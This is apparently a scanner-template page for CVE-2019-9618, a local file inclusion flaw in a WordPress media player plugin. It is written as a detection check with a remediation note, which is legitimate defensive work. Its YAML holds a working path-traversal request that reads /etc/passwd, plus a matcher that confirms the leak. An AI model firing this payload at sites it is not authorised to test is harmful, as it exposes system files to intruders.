WordPress GraceMedia Media Player 1.0 - Local File Inclusion

ID: CVE-2019-9618

Severity: critical

Author: daffainfo

Tags: cve,cve2019,wordpress,wp-plugin,lfi,seclists,edb,gracemedia_media_player_project

Description

WordPress GraceMedia Media Player plugin 1.0 is susceptible to local file inclusion via the cfg parameter.

YAML Source

id: CVE-2019-9618

info:
  name: WordPress GraceMedia Media Player 1.0 - Local File Inclusion
  author: daffainfo
  severity: critical
  description: WordPress GraceMedia Media Player plugin 1.0 is susceptible to local file inclusion via the cfg parameter.
  remediation: |
    Update to the latest version of the plugin or apply the provided patch to fix the vulnerability.
  reference:
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-9618
    - https://seclists.org/fulldisclosure/2019/Mar/26
    - https://www.exploit-db.com/exploits/46537
    - https://nvd.nist.gov/vuln/detail/CVE-2019-9618
    - http://seclists.org/fulldisclosure/2019/Mar/32
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2019-9618
    cwe-id: CWE-22
    epss-score: 0.03376
    epss-percentile: 0.91411
    cpe: cpe:2.3:a:gracemedia_media_player_project:gracemedia_media_player:1.0:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 1
    vendor: gracemedia_media_player_project
    product: gracemedia_media_player
    framework: wordpress
  tags: cve,cve2019,wordpress,wp-plugin,lfi,seclists,edb,gracemedia_media_player_project

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/gracemedia-media-player/templates/files/ajax_controller.php?ajaxAction=getIds&cfg=../../../../../../../../../../etc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
          - 500
# digest: 4a0a0047304502203f0fd79d41ce05e344c4594cc18fca30d5f4362e381c2a348da6f1534f247206022100b7cd8ead1aa4c0b6c2422f54800a62cfd6df2085467b8702fad70e42726e40f2:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2019/CVE-2019-9618.yaml"

View on Github